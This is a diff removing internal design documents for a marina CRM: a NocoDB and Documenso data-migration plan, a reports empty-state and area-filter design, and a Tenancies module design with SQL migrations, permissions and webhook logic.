> **Companion:** `docs/launch-readiness.md` Initiative 5 · `docs/deployment-plan.md`
|
||||
> **Source snapshot:** read-only `pg_dump` of prod NocoDB at
|
||||
> `private/nocodb-snapshot/` (gitignored), restored locally as `nocodb_legacy`.
|
||||
|
||||
## 1. Source landscape (verified 2026-06-01)
|
||||
|
||||
Legacy data is spread across these systems (portal has **no DB of its own**):
|
||||
|
||||
| System | What | Migrate? |
|
||||
| ------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------- |
|
||||
| **NocoDB "Port Nimara"** base `plplouets5zw1um` | Interests (255), Berths (117), Residences (45), multi-berth junction `_nc_m2m_Berths_Interests` (83), Website subs (Interest 64 / Contact 50 / BerthEOI 1), Newsletter (69), reminder/alert settings | ✅ |
|
||||
| **NocoDB "Expenses"** base `p3hq2fxdevqcaq8` | Expenses (165); `invoices` empty | ✅ |
|
||||
| **MinIO bucket `client-portal`** | EOIs, berth PDFs, receipts, business cards, general files | ✅ (Phase 2) |
|
||||
| **MinIO bucket `signatures`** | Documenso signed PDFs | ✅ (Phase 2) |
|
||||
| **Documenso v1.13.1** | Signing envelopes, linked per-deal by `documensoID` | ✅ (Phase 2) |
|
||||
| 9 other NocoDB bases (Customer_List, Registered Interest, Form Submissions, 2nd Residential, Image Uploads, EOI Queue, …) | Old imports/experiments/backups | ❌ **excluded** — zero code refs; stale 7–14 months |
|
||||
| Gmail (IMAP), Keycloak | Email archive, portal auth | ❌ out of scope (per Matt) |
|
||||
|
||||
**Authority for scope:** the live portal + website code reference table IDs in
|
||||
**only** the two active bases above; the recency check confirms `Interests` is
|
||||
the only actively-written table (last write 2026-05-21).
|
||||
|
||||
**Legacy has no Company entity** (everything is attributed to a person), so the
|
||||
migration creates **clients + yachts (client-owned) + deals** — no companies.
|
||||
|
||||
## 2. Key linking facts
|
||||
|
||||
- **Client + yacht are inline on each Interests row** → extract + dedup.
|
||||
- **`documensoID`** (e.g. `"82"`) on each deal → resolves to Documenso
|
||||
`Envelope.secondaryId = 'document_' || documensoID` (verified: deal
|
||||
`doc=114` → envelope `document_114`). The envelope's completed PDF = the
|
||||
signed EOI. (Prod Documenso = v1.13.1, 140 migrations — confirmed.)
|
||||
- **`Berth Number`** (mooring, e.g. `D31`) + the `_nc_m2m_Berths_Interests`
|
||||
junction → multi-berth links.
|
||||
- **Notes** = inline `Internal Notes` + `Extra Comments` (+ 5 rows in
|
||||
`nc_comments`).
|
||||
- Dedup key for people: **lowercased email → fallback canonical phone**.
|
||||
|
||||
## 3. Phase 1 — NocoDB → new CRM (data)
|
||||
|
||||
Build against the local `nocodb_legacy` snapshot; idempotent; every new row
|
||||
stamped with its `legacy_nocodb_id` (add a nullable column or a side mapping
|
||||
table `migration_id_map(entity, legacy_id, new_id)`).
|
||||
|
||||
**Import order (FK-safe):** clients → yachts → interests → interest_berths →
|
||||
notes → residential → expenses → website_submissions → settings.
|
||||
|
||||
### 3.1 Clients (from Interests, deduped)
|
||||
|
||||
Source fields → `clients`: `Full Name`→fullName (title-cased via the legacy
|
||||
`normalizePersonName` rule), `Email Address`→primary email, `Phone Number`→
|
||||
canonical phone, `Address`+`Place of Residence`→address/locality,
|
||||
`Contact Method Preferred`→preferredContactMethod, `Source`→source,
|
||||
`Lead Category`→(deal-level, see below). **Dedup:** group all 255 interests by
|
||||
lowercased email (fallback canonical phone); one client per unique person,
|
||||
N deals.
|
||||
|
||||
### 3.2 Yachts (from Interests)
|
||||
|
||||
`Yacht Name`→name (skip `TBC`/blank), `Length`/`Width`/`Depth`→dims. **Unit
|
||||
note:** legacy stores strings like `"50ft"` — parse number + unit, convert ft→m
|
||||
to match the berth/yacht numeric schema (store original string in a note if
|
||||
ambiguous). Owner = the deduped client (polymorphic `client`).
|
||||
|
||||
### 3.3 Interests / deals
|
||||
|
||||
- **Stage:** map `Sales Process Level` (8) → new 7-stage pipeline — **see §4
|
||||
(needs sign-off).**
|
||||
- `Lead Category` (General / Friends and Family)→leadCategory, `Source`→source.
|
||||
- Statuses: `EOI Status`, `Deposit 10% Status`, `Contract Status`,
|
||||
`Contract Sent Status`, `Berth Info Sent Status` → drive stage + the new
|
||||
EOI/contract/deposit fields; `Deposit 10% Status='Received'` → a `payments`
|
||||
row (deposit) + auto-advance.
|
||||
- Dates: `Date Added`/`Created At`→createdAt (DD-MM-YYYY → ISO; many are null —
|
||||
fall back to Documenso/earliest signal), `EOI Time Sent`, `Time LOI Sent`.
|
||||
- `documensoID` → stored for Phase 2 EOI relink.
|
||||
- **Outcome:** `Sales Process Level='Contract Signed'` + deposit/contract
|
||||
complete → won; otherwise open. (No explicit "lost" in legacy.)
|
||||
|
||||
### 3.4 interest_berths (multi-berth)
|
||||
|
||||
From `_nc_m2m_Berths_Interests` (83 links) → `interest_berths` via
|
||||
`interestBerthsService`. `is_primary` = the `Berth Number` plain-text mooring
|
||||
(or first link); `is_in_eoi_bundle` = true for signed/sent EOIs. Resolve berth
|
||||
by mooring against the migrated 117 berths.
|
||||
|
||||
### 3.5 Notes
|
||||
|
||||
`Internal Notes` + `Extra Comments` (and `nc_comments`) → `interestNotes` via
|
||||
`notes.service`, preserving original timestamps where present.
|
||||
|
||||
### 3.6 Residential
|
||||
|
||||
`Interests (Residences)` (45) → `residential_clients` + `residential_interests`
|
||||
(dedup by email). The 2nd residential base (16 rows) is **excluded** (stale).
|
||||
|
||||
### 3.7 Expenses
|
||||
|
||||
`Expenses` base (165) → the expenses module. Map Time→date, Payer→payer,
|
||||
Category→category, Price (string `"€1,234"`)→numeric+currency. Receipts linked
|
||||
in Phase 2 (the `Receipts` images live in MinIO).
|
||||
|
||||
### 3.8 Website submissions + settings
|
||||
|
||||
Website Interest/Contact/BerthEOI subs → `website_submissions`. `reminder_settings`
|
||||
/`alert_settings` → best-effort into `system_settings`.
|
||||
|
||||
## 4. Stage mapping (8 → 7) — NEEDS SIGN-OFF
|
||||
|
||||
Legacy `Sales Process Level` → new pipeline stage (proposed):
|
||||
|
||||
| Legacy | New stage |
|
||||
| ------------------------------- | --------------------------- |
|
||||
| General Qualified Interest | `qualified` |
|
||||
| Specific Qualified Interest | `nurturing` |
|
||||
| EOI and NDA Sent | `eoi` |
|
||||
| Signed EOI and NDA | `eoi` (EOI signed) |
|
||||
| Made Reservation | `reservation` |
|
||||
| Contract Negotiation | `reservation` → `contract`? |
|
||||
| Contract Negotiations Finalized | `contract` |
|
||||
| Contract Signed | `contract` (won) |
|
||||
|
||||
Open questions for Matt: (a) is "General Qualified Interest" really `qualified`
|
||||
or should some map to `enquiry`? (b) does "Contract Negotiation" belong in
|
||||
`reservation` or `contract`? (c) treat `Contract Signed` as a closed-won
|
||||
outcome?
|
||||
|
||||
## 5. Phase 2 — documents & EOIs (MinIO inventoried 2026-06-01)
|
||||
|
||||
Documents live in **three** MinIO buckets (verified):
|
||||
|
||||
- **`client-portal`** (248 objects, 240 MB) — cleanly foldered: `Berth-PDFs/`
|
||||
(114, mooring in filename), `EOIs/` (95 signed EOIs foldered by client name),
|
||||
`Client Documents/` (6), `Legal/` (14), `expense-sheets/` (2),
|
||||
`client-emails/` (3 sent-email JSONs keyed `interest-<id>`).
|
||||
- **`signatures`** (323) — Documenso's raw per-envelope store (many test dupes —
|
||||
secondary source).
|
||||
- **`database`** — NocoDB's own attachment store at
|
||||
`database/nc/uploads/noco/plplouets5zw1um/mbs9hjauug4eseo/cjzx7y2h9sxwd0n/…`
|
||||
(field `cjzx7y2h9sxwd0n` = `EOI_Document`). **This is where the pre-Documenso
|
||||
("before/aside") signed EOIs live**, as NocoDB attachments.
|
||||
|
||||
**EOI coverage — verified, no missing signed EOI.** Of 255 interests, 48 are
|
||||
EOI-signed; every one resolves to a recoverable PDF:
|
||||
|
||||
1. **~38 via `documensoID`** → `Envelope.secondaryId='document_'||id` →
|
||||
completed PDF (+ curated copy in `client-portal/EOIs/<name>/`).
|
||||
2. **~10 old LOI-process deals** (no documensoID, `LOI=Signing Complete`) →
|
||||
`EOI_Document` attachment in the **`database`** bucket.
|
||||
3. **3 via explicit `S3_Documenso_Path`** → `client-portal/EOIs/`.
|
||||
|
||||
Backfill order per deal: prefer the curated `client-portal/EOIs/` copy → fall
|
||||
back to Documenso (by secondaryId) → then the NocoDB `database` attachment. Each
|
||||
→ store via `getStorageBackend()` → `files`+`documents` rows → `ensureEntityFolder`.
|
||||
Still run a file↔deal reconciliation to flag orphan EOI files + confirm each
|
||||
envelope PDF actually downloads.
|
||||
|
||||
4. **Berth PDFs:** `client-portal/Berth-PDFs/` (114) → `berth_pdf_versions`
|
||||
(mooring parsed from filename).
|
||||
5. **Receipts / business cards:** NOT in `client-portal` — likely in `forms`/
|
||||
`images`/`directus` buckets (OpnForm uploads). Hunt only if wanted.
|
||||
6. Unresolved → manual-review CSV.
|
||||
|
||||
### ⚠ Crossover gate — in-flight Documenso signings
|
||||
|
||||
Documenso currently holds **6 PENDING** (sent, awaiting signature) + **6 DRAFT**
|
||||
envelopes (of 58 total; 46 COMPLETED). PENDING: Thomas Nemic (2026-02-04), Davy
|
||||
Morée (2025-11-28), Matthew Ciaccio (2025-11-24), Ben Sturge (2025-10-11), Van
|
||||
der Merwe (2025-10-02), Charles Davis (2025-08-22) — most stale/likely abandoned,
|
||||
only one from 2026. **Before the Documenso upgrade/crossover, review these:** void
|
||||
the dead ones, let any genuine one finish — don't strand an active signature.
|
||||
|
||||
## 6. Verification & reconcile
|
||||
|
||||
**Validated run (2026-06-01, `extract-nocodb.ts`):** 255 interests → **232
|
||||
unique clients** (1.10×; 21 with >1 deal roll up correctly), 39 yachts, 84
|
||||
deal↔berth links (12 multi-berth), 63 notes. Stages 8→7: qualified 171 · eoi 51
|
||||
· nurturing 30 · reservation 2 · contract 1. **EOI coverage 48/48 resolvable.**
|
||||
Signing state (Documenso-authoritative): signed 48 · **awaiting_signature 3**
|
||||
(interests 581/633/639 → migrate as "awaiting" + keep envelope link + display
|
||||
pending) · none 204. Duplicate review: 1 exact-name (Etiennette Clamouze ×2), 0
|
||||
fuzzy. Residential 45→35. Expenses 165 (0 parse fails). Output →
|
||||
`private/migration-output/` (gitignored).
|
||||
|
||||
**In-flight signing display:** the 3 `awaiting_signature` deals load with the
|
||||
interest's EOI state = sent/awaiting + the Documenso envelope linked, so the new
|
||||
CRM's webhook/poll completes them and the UI shows "Waiting for signatures."
|
||||
Reconcile the 6 Documenso PENDING: 3 link to deals (in-flight above); 3 are
|
||||
abandoned re-sends of already-signed deals → void-review before crossover.
|
||||
|
||||
Remaining: spot-check 5 deals end-to-end after load.
|
||||
|
||||
## 7. Deliverables (scripts/migration/)
|
||||
|
||||
- `probe-minio.ts` — bucket inventory (Phase 2 sizing; answers "are the
|
||||
business cards there?").
|
||||
- `extract-nocodb.ts` — read the snapshot, emit normalized JSON per entity.
|
||||
- `transform-load.ts` — dedup + map + load via service helpers, idempotent.
|
||||
- `backfill-documents.ts` — Phase 2 EOI/PDF/receipt backfill.
|
||||
- `reconcile.ts` — final report.
|
||||
|
||||
## 8. Decisions locked (2026-06-01)
|
||||
|
||||
- Scope = the 2 active bases only; 9 others excluded; email/Keycloak out.
|
||||
- Extract via read-only pg_dump snapshot (done).
|
||||
- No company entities (legacy has none).
|
||||
- Idempotent, keyed on `legacy_nocodb_id`.
|
||||
@@ -1,154 +0,0 @@
|
||||
# Reports polish — beta-finish design
|
||||
|
||||
**Date:** 2026-06-02
|
||||
**Initiative:** Launch-readiness Initiative 1 (Reports overhaul) — "Reports — what's left" gap audit.
|
||||
**Goal (locked with user):** make the reports surface _feel finished for beta_ — every report opens cleanly even on an empty port, plus a modest, obviously-useful Operational filter. Not a deep power-filtering pass.
|
||||
|
||||
## Scope
|
||||
|
||||
Two pieces:
|
||||
|
||||
1. **Report-level empty states** across Sales · Operational · Financial — one friendly "add X to see this" hero when the port has no underlying data, instead of a page scattered with per-chart "No data" badges.
|
||||
2. **Operational Area filter** — a single berth-area multi-select that scopes the whole Operational report's berth-derived surfaces.
|
||||
|
||||
### Out of scope (deferred, recorded in launch-readiness)
|
||||
|
||||
- **Status filter** on Operational — turned out to be a _light_ filter here (can't retro-apply to historical trend charts; the vacant lists are available-by-definition). Defer until there's a general berth-inventory table where Status is genuinely useful.
|
||||
- Other Operational dimensions (tenure type, document type).
|
||||
- Rep / source filters on Operational — they don't map (berths have no assigned rep; tenancies have no lead source).
|
||||
- Custom-builder, scheduling, and template gaps from the same audit.
|
||||
|
||||
## Decisions locked
|
||||
|
||||
| Question | Decision |
|
||||
| ----------------------------- | ------------------------------------------------------------------------------------- |
|
||||
| Polish goal | "Make reports feel finished for beta" (empty states + modest filter) |
|
||||
| Operational filter dimensions | Area + Status chosen → **narrowed to Area only** after the Status-is-light finding |
|
||||
| Operational filter reach | **Approach A — berth scope**: filters re-query the berth-derived surfaces server-side |
|
||||
| Status handling | **Drop for now**; ship Area as the real scope |
|
||||
|
||||
---
|
||||
|
||||
## Piece 1 — Report-level empty states
|
||||
|
||||
### Data flow
|
||||
|
||||
Each report's GET route adds one field, `hasData: boolean`, to its `data` payload. It is a **window-independent, port-scoped existence check** (ignores the selected date range) via a tiny `SELECT 1 … LIMIT 1` helper per report:
|
||||
|
||||
- **Sales** (`/api/v1/reports/sales`) → does the port have **any** `interests` row?
|
||||
- **Operational** (`/api/v1/reports/operational`) → does the port have **any** `berths` row?
|
||||
- **Financial** (`/api/v1/reports/financial`) → does the port have **any** `payments` row **or** **any** `expenses` row?
|
||||
|
||||
Window-independence is the design crux: it distinguishes a _brand-new port_ (show the onboarding hero) from _a port with history but nothing in the selected 30 days_ (show the normal report, whose per-chart empty states already degrade gracefully). Client-side inference from the payload can't tell those two apart — hence a server flag.
|
||||
|
||||
### Component
|
||||
|
||||
New `src/components/reports/shared/report-empty-state.tsx`:
|
||||
|
||||
```tsx
|
||||
interface ReportEmptyStateProps {
|
||||
icon: LucideIcon;
|
||||
title: string;
|
||||
body: string;
|
||||
actionLabel: string;
|
||||
actionHref: Route;
|
||||
}
|
||||
```
|
||||
|
||||
A centered hero: named Lucide icon, title, one-line body, primary `Button` → `Link`. Visual language extends the existing inline `EmptyState` in `sales-report-client.tsx` (muted, centered) but elevated to full-report scale (more vertical padding, larger icon). Lives in `reports/shared/` so all three clients import it. No decorative emoji — named icon components only.
|
||||
|
||||
### Client wiring (3 report clients)
|
||||
|
||||
After the query resolves: if `data && data.hasData === false`, render `<ReportEmptyState .../>` in place of the report body. **Keep the `PageHeader`** so the page retains its title; disable the export/template buttons (no data to export). Keep skeletons while `query.isLoading`.
|
||||
|
||||
### Copy + targets
|
||||
|
||||
Plain text, no emoji.
|
||||
|
||||
| Report | Icon | Title | Body | Action → href |
|
||||
| ----------- | ------------ | --------------------------- | ---------------------------------------------------------------------------------------------------------- | ------------------------------------------- |
|
||||
| Sales | `TrendingUp` | "No sales activity yet" | "Once you add clients and log interests, this report fills with win rates, pipeline value, and deal heat." | "Add an interest" → `/[portSlug]/interests` |
|
||||
| Operational | `Anchor` | "No berths yet" | "Add berths to see utilisation, occupancy, and signing turnaround." | "Add berths" → `/[portSlug]/berths` |
|
||||
| Financial | `Wallet` | "No financial activity yet" | "Record a payment on a deal or log an expense to see revenue, deposits, and cash flow." | "Go to expenses" → `/[portSlug]/expenses` |
|
||||
|
||||
---
|
||||
|
||||
## Piece 2 — Operational Area filter (Approach A: berth scope)
|
||||
|
||||
### Parsing
|
||||
|
||||
New pure, unit-tested module `src/lib/services/reports/operational-filters.ts`, mirroring `sales-filters.ts`:
|
||||
|
||||
- `OperationalFilters = { areas?: string[] }` — extensible shape (Status can be added later without a rename).
|
||||
- `parseOperationalFilters(params: URLSearchParams): OperationalFilters | undefined` — reads the `area` CSV param as a free list (port-defined strings; Drizzle parameterizes the downstream `inArray`, so unvalidated values are injection-safe). Empty/whitespace entries dropped. Returns `undefined` when no areas → no filter.
|
||||
|
||||
### Area options
|
||||
|
||||
New `getOperationalAreaOptions(portId: string): Promise<string[]>` — `SELECT DISTINCT area FROM berths WHERE port_id = ? AND area IS NOT NULL ORDER BY area`. Returned in the payload as `areaOptions` (mirrors Sales' `repOptions`). The shared `FilterBar` auto-hides a multi-select with no options, so the Area control simply doesn't render for a port with no areas defined.
|
||||
|
||||
### Where Area applies
|
||||
|
||||
Area is a **scope** over the berth-derived surfaces. It threads into these service fns as an optional `filters?: OperationalFilters` arg, adding `inArray(berths.area, filters.areas)` when present (index-backed by `idx_berths_area`):
|
||||
|
||||
- `getOperationalKpis` (berth counts: total / sold % / under-offer %)
|
||||
- `getOccupancyByArea`
|
||||
- `getUtilisationHeatmap`
|
||||
- `getVacantBerths`
|
||||
- `getHighestValueVacant`
|
||||
|
||||
**Left port-wide (unfiltered):** status-mix-over-time trend, tenancy churn / tenure / ending-soon, signing box plot, documents-in-pipeline, stuck-signing. A small caption ("Scoped to {areas}") appears on the filtered cards; the port-wide panels are visually unchanged.
|
||||
|
||||
### UI
|
||||
|
||||
The Operational report adds the shared `FilterBar` with a **single Area multi-select**, placed at the **top of the report next to the `DateRangePicker`** — because Area scopes the whole report (unlike Sales, where the FilterBar sits above the detail tables because it only scopes those tables). The Operational report currently has no FilterBar; this introduces it.
|
||||
|
||||
### Template config
|
||||
|
||||
The Operational template config (`{ kind: 'operational', range, statusMixMode }`) gains `filters: { areas?: string[] }` so a saved template round-trips its area scope. Changing the area clears the active-template badge (same pattern as `handleRangeChange` / Sales `handleFilterChange`); applying a template restores it via the raw setter.
|
||||
|
||||
---
|
||||
|
||||
## Files
|
||||
|
||||
**New (4):**
|
||||
|
||||
- `src/lib/services/reports/operational-filters.ts` — `parseOperationalFilters` + `getOperationalAreaOptions`
|
||||
- `src/components/reports/shared/report-empty-state.tsx` — shared hero
|
||||
- `tests/unit/reports/operational-filters.test.ts`
|
||||
- `tests/unit/reports/report-has-data.test.ts` — the three existence helpers
|
||||
|
||||
**Modified (~10):**
|
||||
|
||||
- `src/app/api/v1/reports/sales/route.ts` — `+ hasData`
|
||||
- `src/app/api/v1/reports/operational/route.ts` — `+ hasData`, `+ areaOptions`, parse + thread area filter
|
||||
- `src/app/api/v1/reports/financial/route.ts` — `+ hasData`
|
||||
- `src/components/reports/sales/sales-report-client.tsx` — empty-state wiring
|
||||
- `src/components/reports/operational/operational-report-client.tsx` — empty-state + FilterBar/area scope + template config
|
||||
- `src/components/reports/financial/financial-report-client.tsx` — empty-state wiring
|
||||
- `src/lib/services/reports/operational.service.ts` — optional `filters` on 5 fns + area-options query + `operationalHasData(portId)` helper
|
||||
- `src/lib/services/reports/sales.service.ts` — `salesHasData(portId)` helper
|
||||
- `src/lib/services/reports/financial.service.ts` — `financialHasData(portId)` helper
|
||||
|
||||
Each `hasData` helper lives in its report's service file alongside that report's other queries (consistent with the existing one-service-per-report layout), and is the single existence check the route awaits in its `Promise.all`.
|
||||
|
||||
- `docs/launch-readiness.md` — mark the empty-state + Operational-filter items shipped
|
||||
|
||||
## Testing (TDD)
|
||||
|
||||
Write tests first:
|
||||
|
||||
1. `parseOperationalFilters` — single area, CSV multi, whitespace trimming, empty → `undefined`, no `area` param → `undefined`.
|
||||
2. The three `hasData` helpers — return `false` for a port with no rows, `true` once a row exists, correct port isolation.
|
||||
|
||||
Then implement to green, then browser-verify on `port-nimara`:
|
||||
|
||||
- Area multi-select renders, narrows occupancy-by-area + vacant lists + berth-count KPIs; port-wide panels unchanged; "Scoped to {area}" caption shows.
|
||||
- Empty-state heroes render for an empty port (force `hasData=false` if `port-nimara` has data) with correct copy + working action links.
|
||||
- `pnpm exec tsc --noEmit` clean; affected unit tests green.
|
||||
|
||||
## Edge cases
|
||||
|
||||
- Berths with `area = NULL` — excluded from `areaOptions`; an active area filter hides them (correct: they're not in any selected area).
|
||||
- Area filter matching nothing → filtered surfaces fall back to their existing per-chart empty states (NOT the report-level hero, because the port _does_ have data).
|
||||
- `hasData` ignores the date window entirely — a port with old-but-real data never shows the onboarding hero.
|
||||
- Export/template buttons disabled in the empty-state view (nothing to export).
|
||||
@@ -1,302 +0,0 @@
|
||||
# Tenancies Module Design
|
||||
|
||||
> **Status:** Design doc. All Q-block decisions locked 2026-05-24 via AskUserQuestion + a follow-up platform-wide module-enabled rule locked 2026-05-25 in the alpha UAT master doc. Implementation phased into discrete PRs at the end.
|
||||
|
||||
## Vocabulary split (the foundational decision)
|
||||
|
||||
The pipeline-stage `reservation` + the signed `Reservation Agreement` **keep their names** — they describe the _right being reserved_, not the _occupancy that results_.
|
||||
|
||||
The occupancy record (`berth_reservations` table + sidebar + entity tabs + top-level page) is **renamed Tenancy**:
|
||||
|
||||
| Concept | Lives in | Name (post-rename) |
|
||||
| -------------------------------------------- | ----------------------------------------------------- | ----------------------------------- |
|
||||
| Pipeline stage where the rep targets a berth | `interests.pipelineStage` | `reservation` (unchanged) |
|
||||
| The signed legal document | `documents` w/ `documentType='reservation_agreement'` | `Reservation Agreement` (unchanged) |
|
||||
| The record of who's tied up at a berth | `tenancies` (was `berth_reservations`) | **Tenancy** |
|
||||
|
||||
A signed Reservation Agreement → results in a Tenancy.
|
||||
|
||||
---
|
||||
|
||||
## Platform-wide module-enabled rule
|
||||
|
||||
The entire Tenancies module surface is **hidden by default**.
|
||||
|
||||
A sold berth stays sold without any tenancy data — the platform does not assume tenancies exist for sold berths. The module only surfaces when EITHER:
|
||||
|
||||
- **(a) at least one `tenancies` row exists** for the port (lazy auto-enable on first creation, including auto-create from a signed Reservation Agreement), OR
|
||||
- **(b) an admin has explicitly enabled it** via `system_settings.tenancies_module_enabled` (default `false`).
|
||||
|
||||
### When disabled
|
||||
|
||||
- Sidebar entry hidden
|
||||
- Client / Yacht / Berth `Tenancies` tab hidden
|
||||
- All four reporting widgets hidden from dashboard registry
|
||||
- Top-level `/{portSlug}/tenancies` page returns 404
|
||||
- `handleDocumentCompleted` still mints pending tenancies on a signed `reservation_agreement` — we intentionally do NOT gate the auto-create branch on the module flag, because the resulting row is what lazily surfaces the module on a fresh port (rule (a) above). The CRM surface stays hidden until that first insert lands; from then on, both rules (a) and (b) are satisfied.
|
||||
|
||||
### When enabled
|
||||
|
||||
Full module surfaces.
|
||||
|
||||
### Admin toggle
|
||||
|
||||
Admin → Operations → "Tenancies module" Switch:
|
||||
|
||||
- **Helper copy:** "When enabled, the platform tracks who occupies each berth (Tenancies). Without it, sold berths stay sold but the platform doesn't model the occupancy record."
|
||||
- **Warning on disable with rows:** Modal — "This will hide N existing tenancies. Data is preserved but invisible until re-enabled. Continue?"
|
||||
- **Auto-enable on first insert:** The first row INSERT on `tenancies` flips `tenancies_module_enabled=true` in the same transaction (`pg_advisory_xact_lock` per port to avoid races).
|
||||
- **Never auto-disables.**
|
||||
|
||||
---
|
||||
|
||||
## Data model
|
||||
|
||||
### Rename migration
|
||||
|
||||
```sql
|
||||
-- 008X_rename_reservations_to_tenancies.sql
|
||||
ALTER TABLE berth_reservations RENAME TO tenancies;
|
||||
|
||||
-- Self-FKs for renewals + transfers.
|
||||
ALTER TABLE tenancies
|
||||
ADD COLUMN previous_tenancy_id text REFERENCES tenancies(id) ON DELETE SET NULL,
|
||||
ADD COLUMN transferred_from_tenancy_id text REFERENCES tenancies(id) ON DELETE SET NULL;
|
||||
|
||||
CREATE INDEX tenancies_previous_id_idx ON tenancies(previous_tenancy_id) WHERE previous_tenancy_id IS NOT NULL;
|
||||
CREATE INDEX tenancies_transferred_from_id_idx ON tenancies(transferred_from_tenancy_id) WHERE transferred_from_tenancy_id IS NOT NULL;
|
||||
```
|
||||
|
||||
Schema TypeScript also renames: `src/lib/db/schema/reservations.ts` → `tenancies.ts`, `berthReservations` → `tenancies`. Adjust all imports.
|
||||
|
||||
### `tenure_type` discriminator (unchanged from existing union)
|
||||
|
||||
`permanent | fee_simple | strata_lot | seasonal | fixed_term`
|
||||
|
||||
Behaviour by type:
|
||||
|
||||
| `tenure_type` | Renewals | Public map flip |
|
||||
| ------------- | ----------------------------------------------- | --------------------------- |
|
||||
| `permanent` | Mutate existing row (one record forever) | Sets `berths.status='sold'` |
|
||||
| `fee_simple` | Mutate existing row | Sets `berths.status='sold'` |
|
||||
| `strata_lot` | Mutate existing row | Sets `berths.status='sold'` |
|
||||
| `seasonal` | New row each cycle, `previous_tenancy_id` links | No status flip — temporary |
|
||||
| `fixed_term` | New row each cycle, `previous_tenancy_id` links | No status flip — temporary |
|
||||
|
||||
### Transfers
|
||||
|
||||
Two-step operation:
|
||||
|
||||
1. End old tenancy: `UPDATE tenancies SET status='ended', end_date=transfer_date WHERE id=:old`.
|
||||
2. Mint new tenancy: `INSERT INTO tenancies (..., transferred_from_tenancy_id=:old) VALUES (...)` for the new client.
|
||||
|
||||
Both steps in one transaction; same berth, different client. Preserves history.
|
||||
|
||||
### Module-enabled setting
|
||||
|
||||
Add to `src/lib/settings/registry.ts`:
|
||||
|
||||
```ts
|
||||
{
|
||||
key: 'tenancies_module_enabled',
|
||||
section: 'operations.tenancies',
|
||||
label: 'Tenancies module',
|
||||
description: 'When enabled, the platform tracks who occupies each berth (Tenancies). Without it, sold berths stay sold but the platform does not model the occupancy record.',
|
||||
type: 'boolean',
|
||||
defaultValue: false,
|
||||
scope: 'port',
|
||||
}
|
||||
```
|
||||
|
||||
### Permissions
|
||||
|
||||
Three new perms in `src/lib/db/seed-permissions.ts`:
|
||||
|
||||
| Perm | Default ON for | Notes |
|
||||
| ------------------ | -------------------------------------------------------------------------- | ---------------------------------------------------------------------- |
|
||||
| `tenancies.view` | super_admin, director, sales_manager, sales_agent, finance_manager, viewer | Read access. |
|
||||
| `tenancies.manage` | super_admin, sales_manager, sales_agent | Create / mutate / transfer. |
|
||||
| `tenancies.cancel` | super_admin, sales_manager | Cancel only. Carved out because cancellation has revenue implications. |
|
||||
|
||||
Every Tenancies surface respects both `tenancies.view` AND `tenancies_module_enabled` — the module-enabled gate is checked first.
|
||||
|
||||
---
|
||||
|
||||
## Webhook auto-create branch
|
||||
|
||||
Inside `handleDocumentCompleted` (`src/lib/services/documents.service.ts`):
|
||||
|
||||
```ts
|
||||
// After signedFileId is committed + post-completion email queues, branch:
|
||||
if (doc.documentType === 'reservation_agreement') {
|
||||
const moduleEnabled = await isTenanciesModuleEnabled(doc.portId);
|
||||
if (moduleEnabled) {
|
||||
await autoCreatePendingTenancies(doc.portId, doc.interestId, {
|
||||
signedAt: completedAt,
|
||||
sourceDocumentId: doc.id,
|
||||
userId: 'system',
|
||||
});
|
||||
}
|
||||
// Stage advance + reservationDocStatus flip happen regardless.
|
||||
}
|
||||
```
|
||||
|
||||
`autoCreatePendingTenancies` loops over `interest_berths WHERE interest_id = :interestId AND is_in_eoi_bundle = TRUE` and inserts ONE tenancy row per in-bundle berth (locked Q4 decision: "one tenancy per in-bundle berth"). Status `pending`; rep confirms `startDate` + `tenureType` in a follow-up modal before `pending → active`. Default `startDate = signed date` when not on the doc.
|
||||
|
||||
The first insert in a port flips `tenancies_module_enabled=true` (lazy auto-enable).
|
||||
|
||||
---
|
||||
|
||||
## Public map status flip
|
||||
|
||||
`src/lib/services/berths.service.ts` (status precedence resolver):
|
||||
|
||||
```
|
||||
sold > under_offer > available
|
||||
|
||||
Sold can come from:
|
||||
1. berths.status = 'sold' (explicit admin set)
|
||||
2. An active tenancy with tenure_type IN ('permanent', 'fee_simple', 'strata_lot') exists for this berth
|
||||
```
|
||||
|
||||
The new branch (2) only fires when `tenancies_module_enabled = true`. When disabled OR the only active tenancies are `seasonal` / `fixed_term`, fall through to existing precedence (under_offer / available based on interest links).
|
||||
|
||||
Reversal: when an active permanent-class tenancy ends + no replacement is active for the same berth, the auto-derived `sold` lifts. Explicit `berths.status='sold'` (admin-set) stays sold.
|
||||
|
||||
---
|
||||
|
||||
## Sidebar entry
|
||||
|
||||
`src/components/layout/sidebar.tsx`: add `Tenancies` entry below `Berths`, gated by:
|
||||
|
||||
- `tenancies.view` permission
|
||||
- `tenancies_module_enabled = true` (resolved server-side; SSR'd into the sidebar so it never flickers in)
|
||||
|
||||
Icon: `KeyRound` from lucide.
|
||||
|
||||
---
|
||||
|
||||
## Top-level page — `/{portSlug}/tenancies`
|
||||
|
||||
Returns 404 when module disabled. When enabled:
|
||||
|
||||
- Filters: status (active / pending / ended / cancelled), tenure_type, berth-area, client search.
|
||||
- Columns: Berth · Client · Yacht · Tenure type · Status · Start · End · Last renewal.
|
||||
- Row actions: Open detail · Edit · Renew (tenure-type aware) · Transfer · End / Cancel.
|
||||
- Bulk actions: End multiple (with `tenancies.cancel`).
|
||||
- "+ New tenancy" CTA top-right (gated on `tenancies.manage`).
|
||||
|
||||
---
|
||||
|
||||
## Entity-tab CTAs
|
||||
|
||||
On Client / Yacht / Berth detail pages, the existing read-only tenancies tab gets a refreshed empty state when module is enabled but no rows exist:
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────┐
|
||||
│ [icon] No tenancies yet │
|
||||
│ │
|
||||
│ This <client/yacht/berth> doesn't have any tenancies on file. │
|
||||
│ │
|
||||
│ [ Create tenancy ] (only when user has tenancies.manage) │
|
||||
└─────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
The "Create tenancy" button opens a pre-filled `<TenancyCreateDialog>` with the parent entity already selected. Berth context pre-fills berth_id, Client pre-fills client_id, Yacht pre-fills yacht_id.
|
||||
|
||||
When `tenancies_module_enabled = false`: the whole tab is hidden (entity tabs registry gates).
|
||||
|
||||
---
|
||||
|
||||
## Reporting widgets (all four, all module-gated)
|
||||
|
||||
Locked Q7: ship all four in v1, every one gated by `tenancies_module_enabled`.
|
||||
|
||||
